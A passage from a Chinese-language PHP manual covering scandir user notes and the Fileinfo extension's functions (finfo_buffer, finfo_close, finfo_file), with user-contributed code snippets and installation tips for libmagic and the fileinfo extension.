function scandir_by_mtime($folder) {
  $dircontent = scandir($folder);
  $arr = array();
  foreach($dircontent as $filename) {
    if ($filename != '.' && $filename != '..') {
      if (filemtime($folder.$filename) === false) return false;
      $dat = date("YmdHis", filemtime($folder.$filename));
      $arr[$dat] = $filename;
    }
  }
  if (!ksort($arr)) return false;
  return $arr;
}
?>

returns false if an error occured
otherwise it returns an array like this.
Array
(
    [20040813231320] => DSC00023.JPG
    [20040813231456] => DSC00024.JPG
    [20040814003728] => MOV00055.MPG
    [20040814003804] => DSC00056.JPG
    [20040814003946] => DSC00057.JPG
    [20040814004030] => DSC00058.JPG
    [20040814014516] => DSC00083.JPG
    [20050401161718] => album.txt
)
csaba at alum dot mit dot edu 04-Mar-2005 03:19
Scandir on steroids:
For when you want to filter your file list, or only want to list so many levels of subdirectories...

<?php
function dirList($path="", $types=2, $levels=1, $aFilter=array()) {
//  returns an array of the specified files/directories
//  start search in $path (defaults to current working directory)
//  return $types:  2 => files; 1 => directories; 3 => both;
//  $levels: 1 => look in the $path only; 2 => $path and all children;
//          3 => $path, children, grandchildren; 0 => $path and all subdirectories;
//          less than 0 => complement of -$levels, OR everything starting -$levels down
//                e.g. -1 => everthing except $path; -2 => all descendants except $path + children
//  Remaining argument(s) is(are) a filter array(list) of regular expressions which operate on the full path.
//    First character (before the '/' of the regExp) '-' => NOT.
//    First character (after a possible '-') 'd' => apply to directory name
//    The filters may be passed in as an array of strings or as a list of strings
//  Note that output directories are prefixed with a '*' (done in the line above the return)
   $dS = DIRECTORY_SEPARATOR;
   if (!($path = realpath($path?$path:getcwd()))) return array();    // bad path
   // next line rids terminating \ on drives (works since c: == c:\ on PHP).  OK in *nix?
   if (substr($path,-1)==$dS) $path = substr($path,0,-1);
   if (is_null($types)) $types = 2;
   if (is_null($levels)) $levels = 1;
   if (is_null($aFilter)) $aFilter=array();

   // last argument may be passed as a list or as an array
   $aFilter = array_slice(func_get_args(),3);
   if ($aFilter && gettype($aFilter[0])=="array") $aFilter=$aFilter[0];
   $adFilter = array();
   // now move directory filters to separate array:
   foreach ($aFilter as $i=>$filter)                  // for each directory filter...
     if (($pos=stripos(" $filter","d")) && $pos<3) {  // next line eliminates the 'd'
         $adFilter[] = substr($filter,0,$pos-1) . substr($filter,$pos);
         unset($aFilter[$i]); }
   $aFilter = array_merge($aFilter);    // reset indeces

   $aRes = array();                    // results, $aAcc is an Accumulator
   $aDir = array($path);    // dirs to check
   for ($i=$levels>0?$levels++:-1;($aAcc=array())||$i--&&$aDir;$aDir=$aAcc)
     while ($dir = array_shift($aDir))
         foreach (scandir ($dir) as $fileOrDir)
           if ($fileOrDir!="." && $fileOrDir!="..") {
               if ($dirP = is_dir ($rp="$dir$dS$fileOrDir"))
                 if (pathFilter("$rp$dS", $adFilter))
                     $aAcc[] = $rp;
               if ($i<$levels-1 && ($types & (2-$dirP)))
                 if (pathFilter($rp, $aFilter))
                     $aRes[] = ($dirP?"*":"") . $rp; }
   return $aRes;
}
?>

example usage:
<?php
define ("_", NULL);
// this will find all non .jpg, non .Thumbs.db files under c:\Photo
$aFiles = dirList('c:\Photo', _, 0, '-/\.jpg$/i', '-/\\\\Thumbs.db$/');
$aFiles = dirList();    // find the files in the current directory
// next lines will find .jpg files in non Photo(s) subdirectories, excluding Temporary Internet Files
set_time_limit(60);        // iterating from the top level can take a while
$aFiles = dirList("c:\\", _, 0, '/\.jpg$/i', '-d/\\\\Photos?$/i', '-d/Temporary Internet/i');
?>

Note that this function will consume a lot of time if scanning large
directory structures (which is the reason for the '[-]d/.../' filters).

Csaba Gabor from Vienna
csaba at alum dot mit dot edu 04-Mar-2005 04:52
A nice way to filter the files/directories you get back from scandir:

<?php
function pathFilter ($path, $aFilter) {
   // returns true iff $path survives the tests from $aFilter
   // $aFilter is an array of regular expressions: [-]/regExp/modifiers
   // if there is a leading '-' it means exclude $path upon a match (a NOT test)
   // If the first expression has a leading '-', $path is in, unless it gets excluded.
   // Otherwise, $path is out, unless it gets included via the filter tests.
   // The tests are applied in succession.
   // A NOT test is applied only if $path is currently (within the tests) included
   // Other tests are applied only if $path is currently excluded.  Thus,
   // array("/a/", "-/b/", "/c/") => passes if $path has a c or if $path has an a but no b
   // array("/a/", "/c/", "-/b/") => passes if $path has an a or c, but no b
   // array("-/b/", "/a/", "/c/") => passes if $path has no b, or if $path has an a or c
   if (!$aFilter) return true;           // automatic inclusion (pass) if no filters
   foreach ($aFilter as $filter) break;  // we don't know how it's indexed
   $in = $filter[0]=="-";                // initial in/exclusion based on first filter
   foreach ($aFilter as $filter)         // walk the filters
      if ($in==$not=($filter[0]=="-"))   //     testing only when necessary
         $in ^= preg_match(substr($filter,$not),$path);    // flip in/exclusion upon a match
   return $in;
}
?>

Csaba Gabor from Vienna
Stan P. van de Burgt 26-Oct-2004 09:05
scandir() with regexp matching on file name and sorting options based on stat().

<?php
function myscandir($dir, $exp, $how='name', $desc=0)
{
    $r = array();
    $dh = @opendir($dir);
    if ($dh) {
        while (($fname = readdir($dh)) !== false) {
            if (preg_match($exp, $fname)) {
                $stat = stat("$dir/$fname");
                $r[$fname] = ($how == 'name')? $fname: $stat[$how];
            }
        }
        closedir($dh);
        if ($desc) {
            arsort($r);
        }
        else {
            asort($r);
        }
    }
    return(array_keys($r));
}

$r = myscandir('./book/', '/^article[0-9]{4}\.txt$/i', 'ctime', 1);
print_r($r);
?>

files can be sorted on name and stat() attributes, ascending and descending:

name    file name
dev     device number
ino     inode number
mode    inode protection mode
nlink   number of links
uid     userid of owner
gid     groupid of owner
rdev    device type, if inode device *
size    size in bytes
atime   time of last access (Unix timestamp)
mtime   time of last modification (Unix timestamp)
ctime   time of last inode change (Unix timestamp)
blksize blocksize of filesystem IO *
blocks  number of blocks allocated


文件信息

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Fileinfo 函数
    • finfo_buffer — 返回一个字符串缓冲区的信息
    • finfo_close — 关闭 finfo 实例
    • finfo_file — 返回一个文件的信息
    • finfo_open — 创建新 finfo 实例
    • finfo_set_flags — 设置 libmagic 配置选项
    • mime_content_type — 检测文件的 MIME 类型
  • finfo — finfo 类
    • finfo::buffer — 别名 finfo_buffer()
    • finfo::__construct — 别名 finfo_open
    • finfo::file — 别名 finfo_file()
    • finfo::set_flags — 别名 finfo_set_flags()

User Contributed Notes

There are no user contributed notes for this page.


简介

本模块中的函数通过在文件的给定位置查找特定的 魔术 字节序列 来猜测文件的内容类型以及编码。 虽然不是百分百的精确， 但是通常情况下能够很好的工作。

User Contributed Notes

There are no user contributed notes for this page.


安装

扩展默认开启。

Windows 用户需要在 php.ini 中开启绑定的 php_fileinfo.dll DLL 来启用本扩展。

PHP 中绑定了 libmagic 库，某些 PHP 版本变更中也可能包含此库。在 PHP fileinfo 扩展的源代码中，有 libmagic.patch 文件，这是 libmagic 库的补丁包文件。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

此扩展没有在 php.ini 中定义配置指令。

User Contributed Notes

thomandre at gmail dot com 30-May-2013 02:41
In the PHP 5.3.13 CLI version, it might use the "MAGIC" environnement variable to get the magic database file. Due to the fact that this version doesn't use the standard format, this file may be wrong. You can see it via a simple script :

<?php
    var_dump($_SERVER['MAGIC']);
?>

Unset this variable and it will work again. You can use unsetenv (C-Shell) or unset (Bourne Shell).

This does not affect the Apache version. Other CLI versions might be affected.

I lost a lot of time on this undocumented issue.
sam nospam at archives.org.au 23-Mar-2010 10:03
In addition to
 extension=fileinfo.so
I also had to add
 mime_magic.magicfile=/usr/share/file/magic
to my php configuration.  Then, I instantiate Finfo thus:

<?php
$mimeMagicFile = get_cfg_var('mime_magic.magicfile');
$finfo = new finfo(FILEINFO_MIME, $mimeMagicFile);
?>

(This is despite the rumours I hear about the default being exactly what I set it to anyway.)


资源类型

在 PHP 8.1.0 之前，Fileinfo 扩展中用到了 1 个资源：finfo_open() 返回的魔数数据库文件描述符。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

FILEINFO_NONE (int)
无特殊处理。
FILEINFO_SYMLINK (int)
跟随符号链接。
FILEINFO_MIME_TYPE (int)
返回 mime 类型。 自 PHP 5.3.0 可用。
FILEINFO_MIME_ENCODING (int)
返回文件的 mime 编码。
FILEINFO_MIME (int)
按照 RFC 2045 定义的格式返回文件 mime 类型和编码。
FILEINFO_COMPRESS (int)
解压缩文件。 由于线程安全问题而禁用。
FILEINFO_DEVICES (int)
查看设备的块内容或字符。
FILEINFO_CONTINUE (int)
返回全部匹配的类型。
FILEINFO_PRESERVE_ATIME (int)
如果可以的话，尽可能保持原始的访问时间。
FILEINFO_RAW (int)
对于不可打印字符不转换成 \ooo 八进制表示格式。
FILEINFO_EXTENSION (int)
根据在文件中检测到的 MIME 类型返回适当的文件扩展名。 有的文件类型具有多种扩展名，例如 JPEG 将会返回多个扩展名，以斜线分隔，比如 "jpeg/jpg/jpe/jfif"。如果在 magic.mime 数据库里类型未知，则返回的是 "???"。 PHP 7.2.0 起有效。

User Contributed Notes

jerome at chaman dot ca 15-Nov-2013 08:45
proceed with caution
as the documentation already says

FILEINFO_MIME will output something like "image/jpeg; charset=binary"

while

FILEINFO_MIME_TYPE outputs  "image/jpeg"
and
FILEINFO_MIME_ENCODING outputs  "binary"


Fileinfo 函数

Table of Contents

  • finfo_buffer — 返回一个字符串缓冲区的信息
  • finfo_close — 关闭 finfo 实例
  • finfo_file — 返回一个文件的信息
  • finfo_open — 创建新 finfo 实例
  • finfo_set_flags — 设置 libmagic 配置选项
  • mime_content_type — 检测文件的 MIME 类型

User Contributed Notes

ccbsschucko at gmail dot com 14-Jun-2018 11:45
<?php
    class FileInfoTool {

        /**
        * @var str => $file = caminho para o arquivo (ABSOLUTO OU RELATIVO)
        * @var arr => $file_info = array contendo as informa??es obtidas do arquivo informado
        */
        private $file;
        private $file_info;

        /**
        * @param str => $file = caminho para o arquivo (ABSOLUTO OU RELATIVO)
        */
        public function get_file(string $file){
            clearstatcache();
            $file = str_replace(array('/', '\\'), array(DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR), $file);
            if(!is_file($file) && !is_executable($file) && !is_readable($file)){
                throw new \Exception('O arquivo informado n?o foi encontrado!');
            }
            $this->file = $file;
            $this->set_file_info($this->file);
            return $this;
        }

        /**
        * @param str => $index = se for informado um indice é retornada uma informa??o específica do arquivo
        */
        public function get_info($index = ''){
            if($this->get_file_is_called()){
                if($index === ''){
                    return $this->file_info;
                }
                if($index != ''){
                    if(!array_key_exists($index, $this->file_info)){
                        throw new \Exception('A informa??o requisitada n?o foi encontrada!');
                    }
                    return $this->file_info;
                }
            }
        }

        /**
        * @todo verifica se o método get_file() foi utilizado para informar o caminho do arquivo
        */
        private function get_file_is_called(){
            if(!$this->file){
                throw new \Exception('Nenhum arquivo foi fornecido para análise. Utilize o método get_file() para isso!');
                return false;
            }
            return true;
        }

        /**
        * @todo preencher a array com as infos do arquivo
        */
        private function set_file_info(){
            $this->file_info = array();
            $pathinfo = pathinfo($this->file);
            $stat = stat($this->file);
            $this->file_info['realpath'] = realpath($this->file);
            $this->file_info['dirname'] = $pathinfo['dirname'];
            $this->file_info['basename'] = $pathinfo['basename'];
            $this->file_info['filename'] = $pathinfo['filename'];
            $this->file_info['extension'] = $pathinfo['extension'];
            $this->file_info['mime'] = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $this->file);
            $this->file_info['encoding'] = finfo_file(finfo_open(FILEINFO_MIME_ENCODING), $this->file);
            $this->file_info['size'] = $stat[7];
            $this->file_info['size_string'] = $this->format_bytes($stat[7]);
            $this->file_info['atime'] = $stat[8];
            $this->file_info['mtime'] = $stat[9];
            $this->file_info['permission'] = substr(sprintf('%o', fileperms($this->file)), -4);
            $this->file_info['fileowner'] = getenv('USERNAME');
        }

        /**
        * @param int => $size = valor em bytes a ser formatado
        */
        private function format_bytes(int $size){
            $base = log($size, 1024);
            $suffixes = array('', 'KB', 'MB', 'GB', 'TB');
            return round(pow(1024, $base-floor($base)), 2).''.$suffixes[floor($base)];
        }
    }

    var_dump((new FileInfoTool)->get_file('sitemap.xml')->get_info());
?>
bostjan at a2o dot si 09-Nov-2010 05:58
'Failed to load magic database at...'

This error message may be caused by incompatibilities between library and database. Check your database by trying to compile it with file command, like this:

cd /etc/magic
file -C -m magic
file -C -m magic.mime

b.
nessi at nessi dot ch 01-Jan-2010 04:26
For opensuse, you will just need to install the file-devel to solve the Problem with
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution

zypper install file-devel
aidan at php dot net 20-Dec-2008 01:09
As of PHP 5.3, Fileinfo is shipped with the main distribution and enabled by default. The extension is no longer maintained in PECL.
Evermorian 26-Aug-2008 05:03
In response to the suggestion from "jon at cybus" below to symlink /usr/share/file/magic to /etc/magic.mime, note that this causes other problems (in Debian Etch, anyway).  It breaks the -i functionality of the file command, causing it to return the human-readable string instead of the MIME type.  It also results in finfo doing the same.

So, it is probably better to actually specify the path to the magic file correctly when instantiating your finfo object:

<?php
$fi = new finfo(FILEINFO_MIME,'/usr/share/file/magic');
$mime_type = $fi->buffer(file_get_contents($file));
?>

Of course, you still end up with something that cannot tell the difference between a Word document and an Excel spreadsheet.
Terren Suydam 20-Jun-2008 11:00
If finfo_file() returns a mime type that also includes a character set definition (separated by a semi-colon), like:

text/plain; charset=us-ascii

Then you'll probably want to leave the charset definition in with the mime type, particularly if you're using the resulting string in an HTTP Content-Length header. The HTTP standard specifically allows for this, see:

http://www.w3.org/International/O-HTTP-charset

It seemed as if some of the previous commenters were trying to remove the charset.
Paul 08-Nov-2007 08:12
The results of this function seem to be of dubious quality.

eg
1)  a Word doc returns:
'application/msword application/msword'
...ok not too bad, but why does it come back twice?

2)  a PHP file comes back as:
'text/x-c++; charset=us-ascii'
My test file started with '<?php' so not ambiguous really. And where does it get the charset assumption from?

3)  a text doc that starts with the letters 'GIF' comes back as:
'image/gif'
(just like in DanielWalker's example for the unix 'file' command)

I had better results using the PEAR 'MIME_Type' package. It gave proper answers for 1 & 3 and identified the PHP file as 'text/plain' which is probably better than a false match for C++

Both finfo_file and MIME_Type correctly identified my other two test files which were a windows exe renamed with .doc extension, and a PDF also renamed with .doc extension.
jon at cybus dot co dot uk 04-Sep-2007 07:58
To get v1.0.4 working on my Ubuntu Feisty system, I had to do the following. It's probably the same on Debian.

* apt-get install libmagic1-dev
* pecl install Fileinfo
* Add "extension=fileinfo.so" to php.ini (/etc/php5/{cli,cgi}/php.ini)
* ln -s /usr/share/file/magic /etc/magic.mime
hari_1983 at yahoo dot com 22-Aug-2007 10:45
Actually for RPM users file-devel contains whatever libmagic contains. then apart from pear, u can directly use "pecl install Fileinfo".
aidan at php dot net 15-Mar-2007 12:54
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic'
PHP Warning:  finfo::file(): The invalid fileinfo object

These errors can be rectified by copying your magic database (depending on your distro, this file can be anywhere, on debian it's in /usr/share/file/magic) to /etc/magic.mime

libmagic automatically appends the .mime to the end of the filename, so PHP incorrectly reports the path it was looking for.

The same applies for:
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic.mime'

Unfortunately users will have to call the magic file /etc/magic.mime.mime in this case.
Alexey 18-Feb-2007 06:39
Well, it is hard to install and use this extension. There is better alternative - use lunux comand "file". For  insturctions - "man file" from linux shell.

<?
echo system("file -i -b file.pdf");
?>

application/pdf
szotsaki at gmail dot com 01-Feb-2007 11:12
I am about to write how installed this package.

First of all, I tried with "pear install fileinfo" - as the manual says.
But the pear command said that 'Package "Fileinfo" is not valid,
install failed'.

Then the "pear install pecl/fileinfo" was a better way. But at that time the "phpize" command was missing.
I installed that (on openSUSE distributions it is in the php5-devel, but I think you can find it in your distro's corresponding php-devel package).

After that you may install "re2c" (I did). It's homepage is: http://sourceforge.net/projects/re2c

Copy the magic file of Apache (usually in /etc/apache2) into the following directory: /usr/locale/share/file/ or /usr/share/file/

Then you have to install "libmagic-dev". If you have Debian based system you can simply install it with apt.
But if you have an rpm based system (like me), you have to download the following package: http://packages.debian.org/unstable/libdevel/libmagic-dev
It contains the files we need.
So, download the file, browse it with Midnight Commander (mc) (you have to apt and dpkg be installed) and simply extract (so copy) the /usr folder (it is inside the CONTENTS folder) of the .deb package to the root folder.

And now give the "pear install pecl/fileinfo" command another try :)

Ps: Don't forget to check whether the script has wrote the following line into the php.ini (on openSUSE: /etc/php5/apache2): extension=fileinfo.so

I hope, I could help.
motin at demomusic dot nu 09-Jan-2007 05:34
I had a real headache trying to install this package through pear/pecl. Ran into what looks like this bug: http://pecl.php.net/bugs/bug.php?id=7673 (phpize fails)

I found downloading the package manually and running ./configure helped show what the problem is:

...
checking for fileinfo support... yes, shared
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution
<quit>

I though this was because of a missing magic-database like magic.mime but examining the configure-script, magic.h is searched for.

Problem for me was that include/magic.h was not found. After some googling about where to find magic.h led me to the dead
simple solution:

apt-get install libmagic-dev

This does NOT solve the original installation bug strangely enough, but allows for manual installation:

1. Find the url to the latest version of fileinfo from http://pecl.php.net/package/Fileinfo (atm: http://pecl.php.net/get/Fileinfo-1.0.4.tgz)

2. Download, compile and install
wget http://pecl.php.net/get/Fileinfo-1.0.4.tgz
gunzip Fileinfo-1.0.4.tgz
tar -xvf Fileinfo-1.0.4.tar
cd fileinfo-1.0.4
./configure
make
make install

3. Add extension=fileinfo.so in your php.ini file

4. Restart Apache
jausions at php dot net 08-Jul-2006 12:26
For Windows users:

1. Go to http://pecl4win.php.net/ to get the php_fileinfo.dll if your PHP installation didn't come with it, and you haven't installed the Extensions package.

2. Then make sure you have extension=php_fileinfo.dll somewhere in your php.ini

3. Restart your web server.


返回一个字符串缓冲区的信息

  • ? Fileinfo 函数
  • finfo_close ?
  • PHP Manual
  • Fileinfo 函数
  • 返回一个字符串缓冲区的信息

finfo_buffer

finfo::buffer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_buffer -- finfo::buffer — 返回一个字符串缓冲区的信息

说明

过程化风格

finfo_buffer(
finfo $finfo,
string $string,
int $flags = FILEINFO_NONE,
?resource $context = null
): string|false

面向对象风格

public finfo::buffer(string $string, int $flags = FILEINFO_NONE, ?resource $context = null): string|false

本函数用来获取字符串中二进制数据的信息。

参数

finfo

经 finfo_open() 返回的 finfo 实例。

string

要检查的文件内容。

flags

一个 Fileinfo 常量 或多个 Fileinfo 常量 进行逻辑或运算。

context

返回值

返回 string 参数所指定内容的类型描述。 发生错误时返回 false 。

更新日志

版本 | 说明
8.1.0 | finfo 参数现在接受 finfo 实例，之前接受 resource。
8.0.0 | context 现在可以为 null。

示例

Example #1 finfo_buffer() 示例

<?php
$finfo = new finfo(FILEINFO_MIME);
echo $finfo->buffer($_POST["script"]) . "\n";
?>

以上示例的输出类似于：

application/x-sh; charset=us-ascii

参见

  • finfo_file() - 别名 finfo_file()

User Contributed Notes

nimasdj [AT] yahoo [DOT] com 14-Nov-2015 06:31
You should never rely on finfo::buffer to get the MimeType of a file, you must always save the file physically or temporariliy and use finfo_open to get MimeType. I tested it with an excell file, with buffer it says octet-stream that is not valid, with finfo_open it says ms-excell as correct.
donjajo4all at gmail dot com 11-Jun-2014 06:42
Get only a webpage content type and forget the charset

<?php
$file = new finfo(FILEINFO_MIME);
echo strstr($file->buffer(file_get_contents('http://example.com')),';',true)//Returns something similar to  text/html
?>
donjajo4all at gmail dot com 10-Jun-2014 01:45
Get only a webpage content type and forget the charset

<?php
$file = new finfo(FILEINFO_MIME);
echo strstr(file_get_contents('http://example.com'),';',true); //Returns something similar to  text/html
?>
contact at ingnu dot fr 20-Jun-2011 02:22
You can easily check mime type of an internet resource using this code :

<?php
function getUrlMimeType($url) {
    $buffer = file_get_contents($url);
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    return $finfo->buffer($buffer);
}
?>

I'm using it to detect if an url given by a user is a HTML page (so I do some stuff with the HTML) or a file on Internet (so I show an icon accordingly to the mime type).


关闭 finfo 实例

  • ? finfo_buffer
  • finfo_file ?
  • PHP Manual
  • Fileinfo 函数
  • 关闭 finfo 实例

finfo_close

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_close — 关闭 finfo 实例

说明

finfo_close(finfo $finfo): bool

关闭 finfo_open() 函数所返回的 fileinfo 实例。

参数

finfo

经 finfo_open() 返回的 finfo 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | finfo 参数现在接受 finfo 实例，之前接受 resource。

User Contributed Notes

There are no user contributed notes for this page.


返回一个文件的信息

  • ? finfo_close
  • finfo_open ?
  • PHP Manual
  • Fileinfo 函数
  • 返回一个文件的信息

finfo_file

finfo::file

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_file -- finfo::file — 返回一个文件的信息

说明

过程化风格

finfo_file(
finfo $finfo,
string $filename,
int $flags = FILEINFO_NONE,
?resource $context = null
): string|false

面向对象风格

public finfo::file(string $filename, int $flags = FILEINFO_NONE, ?resource $context = null): string|false

本函数用来获取一个文件的信息。

参数

finfo

经 finfo_open() 返回的 finfo 实例。

filename

要检查的文件名。

flags

一个 Fileinfo 常量或多个进行逻辑或。

context

关于 contexts 的更多描述，请参考 Stream 函数。

返回值

返回 filename 参数指定的文件信息。发生错误时返回 false。

更新日志

版本 | 说明
8.1.0 | finfo 参数现在接受 finfo 实例，之前接受 resource。
8.0.0 | context 现在可以为 null。

示例

Example #1 finfo_file() 示例

<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE); // 返回 mime 类型，也被称为 mime 类型扩展。
foreach (glob("*") as $filename) {
echo finfo_file($finfo, $filename) . "\n";
}
finfo_close($finfo);
?>

以上示例的输出类似于：

text/html
image/gif
application/vnd.ms-excel

参见

  • finfo_buffer() - 别名 finfo_buffer()

User Contributed Notes

powtac at gmx dot de 17-Oct-2016 02:02
Be careful, files with BOM will not detected correctly!
66Ton99 at gmail dot com 14-Jun-2016 06:33
The way HOWTO get MIME-type of remote file.

<?php
class MimeStreamWrapper
{
    const WRAPPER_NAME = 'mime';
    public $context;
    private static $isRegistered = false;
    private $callBackFunction;
    private $eof = false;
    private $fp;
    private $path;
    private $fileStat;
    private function getStat()
    {
        if ($fStat = fstat($this->fp)) {
            return $fStat;
        }

        $size = 100;
        if ($headers = get_headers($this->path, true)) {
            $head = array_change_key_case($headers, CASE_LOWER);
            $size = (int)$head['content-length'];
        }
        $blocks = ceil($size / 512);
        return array(
            'dev' => 16777220,
            'ino' => 15764,
            'mode' => 33188,
            'nlink' => 1,
            'uid' => 10000,
            'gid' => 80,
            'rdev' => 0,
            'size' => $size,
            'atime' => 0,
            'mtime' => 0,
            'ctime' => 0,
            'blksize' => 4096,
            'blocks' => $blocks,
        );
    }
    public function setPath($path)
    {
        $this->path = $path;
        $this->fp = fopen($this->path, 'rb') or die('Cannot open file:  ' . $this->path);
        $this->fileStat = $this->getStat();
    }
    public function read($count) {
        return fread($this->fp, $count);
    }
    public function getStreamPath()
    {
        return str_replace(array('ftp://', 'http://', 'https://'), self::WRAPPER_NAME . '://', $this->path);
    }
    public function getContext()
    {
        if (!self::$isRegistered) {
            stream_wrapper_register(self::WRAPPER_NAME, get_class());
            self::$isRegistered = true;
        }
        return stream_context_create(
            array(
                self::WRAPPER_NAME => array(
                    'cb' => array($this, 'read'),
                    'fileStat' => $this->fileStat,
                )
            )
        );
    }
    public function stream_open($path, $mode, $options, &$opened_path)
    {
        if (!preg_match('/^r[bt]?$/', $mode) || !$this->context) {
            return false;
        }
        $opt = stream_context_get_options($this->context);
        if (!is_array($opt[self::WRAPPER_NAME]) ||
            !isset($opt[self::WRAPPER_NAME]['cb']) ||
            !is_callable($opt[self::WRAPPER_NAME]['cb'])
        ) {
            return false;
        }
        $this->callBackFunction = $opt[self::WRAPPER_NAME]['cb'];
        $this->fileStat = $opt[self::WRAPPER_NAME]['fileStat'];

        return true;
    }
    public function stream_read($count)
    {
        if ($this->eof || !$count) {
            return '';
        }
        if (($s = call_user_func($this->callBackFunction, $count)) == '') {
            $this->eof = true;
        }
        return $s;
    }
    public function stream_eof()
    {
        return $this->eof;
    }
    public function stream_stat()
    {
        return $this->fileStat;
    }
    public function stream_cast($castAs)
    {
        $read = null;
        $write  = null;
        $except = null;
        return @stream_select($read, $write, $except, $castAs);
    }
}
$path = 'http://fc04.deviantart.net/fs71/f/2010/227/4/6/PNG_Test_by_Destron23.png';
echo "File: ", $path, "\n";
$wrapper = new MimeStreamWrapper();
$wrapper->setPath($path);

$fInfo = new finfo(FILEINFO_MIME);
echo "MIME-type: ", $fInfo->file($wrapper->getStreamPath(), FILEINFO_MIME_TYPE, $wrapper->getContext()), "\n";
?>
tim at savaslabs dot com 29-Jul-2015 05:44
Just noting (because I ran into it!) that the current implementation of finfo_file has a known bug which causes PHP to allocate huge amounts of memory when certain strings are present in text files that it is examining.

See https://bugs.php.net/bug.php?id=69224 for more info.
niko dot jokipalo at gmail dot com 12-Jan-2014 08:03
I spent days looking and searching for a database with actual plain language descriptions for the media types, for example
finfo(.png) --> "image/png" --> "PNG image".
In Ubuntu based OS's you can find already translated database at /usr/share/mime

http://manpages.ubuntu.com/manpages/hardy/en/man5/gnome-mime.5.html
da_kooz at hotmail dot com 08-Aug-2013 08:13
Here is an wrapper that will properly identify Microsoft Office 2007 documents. It's trivial and straightforward to use, edit, and to add more file extentions/mimetypes.

<?php
function get_mimetype($filepath) {
    if(!preg_match('/\.[^\/\\\\]+$/',$filepath)) {
        return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filepath);
    }
    switch(strtolower(preg_replace('/^.*\./','',$filepath))) {
        // START MS Office 2007 Docs
        case 'docx':
            return 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
        case 'docm':
            return 'application/vnd.ms-word.document.macroEnabled.12';
        case 'dotx':
            return 'application/vnd.openxmlformats-officedocument.wordprocessingml.template';
        case 'dotm':
            return 'application/vnd.ms-word.template.macroEnabled.12';
        case 'xlsx':
            return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
        case 'xlsm':
            return 'application/vnd.ms-excel.sheet.macroEnabled.12';
        case 'xltx':
            return 'application/vnd.openxmlformats-officedocument.spreadsheetml.template';
        case 'xltm':
            return 'application/vnd.ms-excel.template.macroEnabled.12';
        case 'xlsb':
            return 'application/vnd.ms-excel.sheet.binary.macroEnabled.12';
        case 'xlam':
            return 'application/vnd.ms-excel.addin.macroEnabled.12';
        case 'pptx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.presentation';
        case 'pptm':
            return 'application/vnd.ms-powerpoint.presentation.macroEnabled.12';
        case 'ppsx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.slideshow';
        case 'ppsm':
            return 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12';
        case 'potx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.template';
        case 'potm':
            return 'application/vnd.ms-powerpoint.template.macroEnabled.12';
        case 'ppam':
            return 'application/vnd.ms-powerpoint.addin.macroEnabled.12';
        case 'sldx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.slide';
        case 'sldm':
            return 'application/vnd.ms-powerpoint.slide.macroEnabled.12';
        case 'one':
            return 'application/msonenote';
        case 'onetoc2':
            return 'application/msonenote';
        case 'onetmp':
            return 'application/msonenote';
        case 'onepkg':
            return 'application/msonenote';
        case 'thmx':
            return 'application/vnd.ms-officetheme';
            //END MS Office 2007 Docs

    }
    return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filepath);
}

?>
contato at vfreitas dot com 01-Mar-2012 06:31
Well, i have a great probleam with that, MS Office 2007 extensions (pptx, xlsx, docx) do not have a default Mime type, they have "application/zip" mime type, so, to fix that, i do one little function to verify the extension.
That function allow's you to be safe of fake extensions hack.

<?php

$arrayZips = array("application/zip", "application/x-zip", "application/x-zip-compressed");

$arrayExtensions = array(".pptx", ".docx", ".dotx", ".xlsx");

$file = 'path/to/file.xlsx';

$original_extension = (false === $pos = strrpos($file, '.')) ? '' : substr($file, $pos);

$finfo = new finfo(FILEINFO_MIME);

$type = $finfo->file($file);

if (in_array($type, $arrayZips) && in_array($original_extension, $arrayExtensions))
{
   return $original_extension;
}

?>
Zane MegaLab.it 13-Jun-2011 08:38
I was getting application/octet-stream or "<= not supported" for all the files.

I found out that in PHP 5.3 the magic file is built-in into PHP and that is what should be used. The magic file found on the system may not always be what libmagic expects, hence the error.
info at tech dash bits dot net 13-Feb-2011 01:34
While figuring out my problem using this new function, i had a brainwave in using the full path of the file instead of the relative path. For example:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
finfo_file($finfo, $folder.$fileName);
?>

This will result in an error where it can't find the file specified.

This however fixxes that problem:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, dirname(__FILE__)."/".$folder.$fileName);
?>
scott at thebrain dot ca 06-Jan-2009 09:29
I thought to use fileinfo to check if a file was gzip or bzip2. However, the mime type of a compressed file is "data" because compression is an encoding rather than a type.

gzip files begin with binary 1f8b.
bzip2 files begin with magic bytes 'B'  'Z'  'h'.
e.g.

<?php
$s = file_get_contents("somefilepath");
if ( bin2hex(substr($s,0,2)) == '1f8b' ) {/* could be a gzip file */}
if( substr($s,0,3) == 'BZh' ){/* could be a bzip2 file */}
?>

I am not an encoding expert. My only testing was using a few of my own encoded files.
darko at uvcms dot com 01-Aug-2008 08:28
OO (bit improved) version of the same thing

<?php
